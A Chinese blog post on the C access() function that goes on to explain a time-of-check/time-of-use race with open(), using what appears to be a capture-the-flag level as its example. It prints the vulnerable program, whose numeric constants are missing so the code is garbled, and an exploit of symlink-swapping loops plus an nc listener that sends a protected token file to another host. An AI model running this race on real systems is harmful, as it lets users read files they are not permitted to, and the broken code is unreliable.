access()函数用来检查调用进程是否可以对指定的文件执行某种操作。

================================================================================

来自:https://blog.csdn.net/tigerjibo/article/details/11712039

1.函数功能:

检查调用进程是否可以对指定的文件执行某种操作。

2.函数原型:

1)函数头文件

#include <stdio.h>
#include <unistd.h>

2)函数

int access(const char * pathname, int mode)

3)形参

pathname:需要检测的文件路劲名

mode:需要测试的操作模式。

4)函数返回值说明

成功执行时,返回0。失败返回-1,errno被设为以下的某个值 
EINVAL: 模式值无效 
EACCES: 文件或路径名中包含的目录不可访问 
ELOOP : 解释路径名过程中存在太多的符号连接 
ENAMETOOLONG:路径名太长 
ENOENT:路径名中的目录不存在或是无效的符号连接 
ENOTDIR: 路径名中当作目录的组件并非目录 
EROFS: 文件系统只读 
EFAULT: 路径名指向可访问的空间外 
EIO:输入输出错误 
ENOMEM: 不能获取足够的内核内存 
ETXTBSY:对程序写入出错

5)mode说明

R_OK 测试读许可权
W_OK 测试写许可权
X_OK 测试执行许可权
F_OK 测试文件是否存在

================================================================================

常见的用法是先用access()函数判断文件是否可以操作,然后再通过open()函数对文件进行相应操作。但是这两者之前存在一个时间差,从而形成了时间条件竞争漏洞,越权读取文件。

参考下面的代码:

  1. #include <stdlib.h>
  2. #include <unistd.h>
  3. #include <sys/types.h>
  4. #include <stdio.h>
  5. #include <fcntl.h>
  6. #include <errno.h>
  7. #include <sys/socket.h>
  8. #include <netinet/in.h>
  9. #include <string.h>
  10.  
  11. int main(int argc, char **argv)
  12. {
  13. char *file;
  14. char *host;
  15.  
  16. if(argc < ) {
  17. printf("%s file host\n\tsends file to host if you have access to it\n", argv[]);
  18. exit();
  19. }
  20.  
  21. file = argv[];
  22. host = argv[];
  23.  
  24. if(access(argv[], R_OK) == ) {
  25. int fd;
  26. int ffd;
  27. int rc;
  28. struct sockaddr_in sin;
  29. char buffer[];
  30.  
  31. printf("Connecting to %s:18211 .. ", host); fflush(stdout);
  32.  
  33. fd = socket(AF_INET, SOCK_STREAM, );
  34.  
  35. memset(&sin, , sizeof(struct sockaddr_in));
  36. sin.sin_family = AF_INET;
  37. sin.sin_addr.s_addr = inet_addr(host);
  38. sin.sin_port = htons();
  39.  
  40. if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -) {
  41. printf("Unable to connect to host %s\n", host);
  42. exit(EXIT_FAILURE);
  43. }
  44.  
  45. #define HITHERE ".oO Oo.\n"
  46. if(write(fd, HITHERE, strlen(HITHERE)) == -) {
  47. printf("Unable to write banner to host %s\n", host);
  48. exit(EXIT_FAILURE);
  49. }
  50. #undef HITHERE
  51.  
  52. printf("Connected!\nSending file .. "); fflush(stdout);
  53.  
  54. ffd = open(file, O_RDONLY);
  55. if(ffd == -) {
  56. printf("Damn. Unable to open file\n");
  57. exit(EXIT_FAILURE);
  58. }
  59.  
  60. rc = read(ffd, buffer, sizeof(buffer));
  61. if(rc == -) {
  62. printf("Unable to read from file: %s\n", strerror(errno));
  63. exit(EXIT_FAILURE);
  64. }
  65.  
  66. write(fd, buffer, rc);
  67.  
  68. printf("wrote file!\n");
  69.  
  70. } else {
  71. printf("You don't have access to %s\n", file);
  72. }
  73. }

先通过access()判断传参文件是否可读(注意:这里access()函数检查的是ruid,而不是euid),然后open()打开文件进行读取并发送数据。access()与open()之间存在时间差,且由于这里access()判断的是ruid,所以可以通过频繁改变目标文件,使得access()和open()判断的不是同一个文件,即可越权打开文件

*****************************************************************************

*利用方法:

假设token文件为当前用户不可读

1、编写脚本,将有权限与没有权限的文件循环指向同一个文件

  1. while true;
  2. do
  3. ln -sf /home/flag10/token /tmp/ttt
  4. ln -sf /tmp/aaa /tmp/ttt
  5. done

2、攻击侧监听18211端口

  1. while true;do nc -lvnp ;done

3、执行该程序,获取文件

  1. while true;
  2. do
  3. /home/flag10/flag10 /tmp/ttt 10.211.55.2
  4. done

Linux C:access()时间条件竞争漏洞的更多相关文章

  1. MOTCF 没时间解释了 条件竞争漏洞

    moctf 没时间解释了 条件竞争漏洞 题目链接 条件竞争: 在本题目中,上传文件的时候服务器无条件的接收任何类型的文件,但是你上传之后服务器会给你的文件内容修改为too slow. 比如你上传了一句 ...

  2. MySQL/MariaDB/PerconaDB-提权条件竞争漏洞

    背景 2016年11月01日,国外安全研究员Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/ ...

  3. 条件竞争(race condition)

    条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生. 参考了一些资料,发现一个比较能说明问 ...

  4. [原题复现]2018HCTF WEB admin(session伪造、unicode漏洞、条件竞争)

    简介  原题复现:https://github.com/woadsl1234/HCTF2018_admin  考察知识点:session伪造.unicode漏洞.条件竞争  线上平台:https:// ...

  5. CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  6. Linux同步机制(二) - 条件变量,信号量,文件锁,栅栏

    1 条件变量 条件变量是一种同步机制,允许线程挂起,直到共享数据上的某些条件得到满足. 1.1 相关函数 #include <pthread.h>  pthread_cond_t cond ...

  7. Linux互斥锁、条件变量和信号量

    Linux互斥锁.条件变量和信号量  来自http://kongweile.iteye.com/blog/1155490 http://www.cnblogs.com/qingxia/archive/ ...

  8. [转帖]预警 | Linux 爆“SACK Panic”远程DoS漏洞,大量主机受影响

    预警 | Linux 爆“SACK Panic”远程DoS漏洞,大量主机受影响   https://cloud.tencent.com/developer/article/1447879 所有的 版本 ...

  9. linux概念之时间与时区

    http://www.cnblogs.com/liuyou/archive/2012/07/29/2614338.html Linux时间基准 以上我们了解了RTC(实时时钟.硬件时钟)和OS时钟(系 ...

随机推荐

  1. [BZOJ4027][HEOI2015]兔子与樱花 树形dp

    Description 很久很久之前,森林里住着一群兔子.有一天,兔子们突然决定要去看樱花.兔子们所在森林里的樱花树很特殊.樱花树由n个树枝分叉点组成,编号从0到n-1,这n个分叉点由n-1个树枝连接 ...

  2. Unity3D学习笔记(二):个体层次、绝对和局部坐标、V3平移旋转

    Directional Light:平行光源/方向性光源,用来模拟太阳光(角度只与旋转角度有关,与位置无关) Point Light:点光源,用来模拟灯泡,向四周发散光源 Spotlight:锥光源/ ...

  3. 2018/7/18Bad English

    1 So instead of enjoying anime because it can portray interesting stories in a form that would be im ...

  4. html 绘制矩形轨迹,选中区域

    <!doctype html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  5. ASP.NET MVC实现网站验证码功能

    网站添加验证码,主要为防止机器人程序批量注册,或对特定的注册用户用特定程序暴力破解方式,以进行不断的登录.灌水等危害网站的操作.验证码被广泛应用在注册.登录.留言等提交信息到服务器端处理的页面中. 在 ...

  6. [ios]NSThread传值 NSValue传值

    NSThread:http://www.cocoachina.com/bbs/read.php?tid=51873 NSValue:http://blog.sina.com.cn/s/blog_bf9 ...

  7. Python -- Scrapy 命令行工具(command line tools)

    结合scrapy 官方文档,进行学习,并整理了部分自己学习实践的内容 Scrapy是通过 scrapy 命令行工具进行控制的. 这里我们称之为 “Scrapy tool” 以用来和子命令进行区分. 对 ...

  8. 关于怎么解决java.lang.NoClassDefFoundError错误

    五一在部署新的统一登录时,遇到这样一个问题: 很容易把java.lang.NoClassDefFoundError和java.lang.ClassNotfoundException这两个错误搞混,事实 ...

  9. angular5 生命周期钩子函数

    生命周期执行顺序ngOnChanges 在有输入属性的情况下才会调用,该方法接受当前和上一属性值的SimpleChanges对象.如果有输入属性,会在ngOnInit之前调用. ngOnInit 在组 ...

  10. 第二类斯特林数(转自http://www.cnblogs.com/gzy-cjoier/p/8426987.html )

    转自http://www.cnblogs.com/gzy-cjoier/p/8426987.html 侵删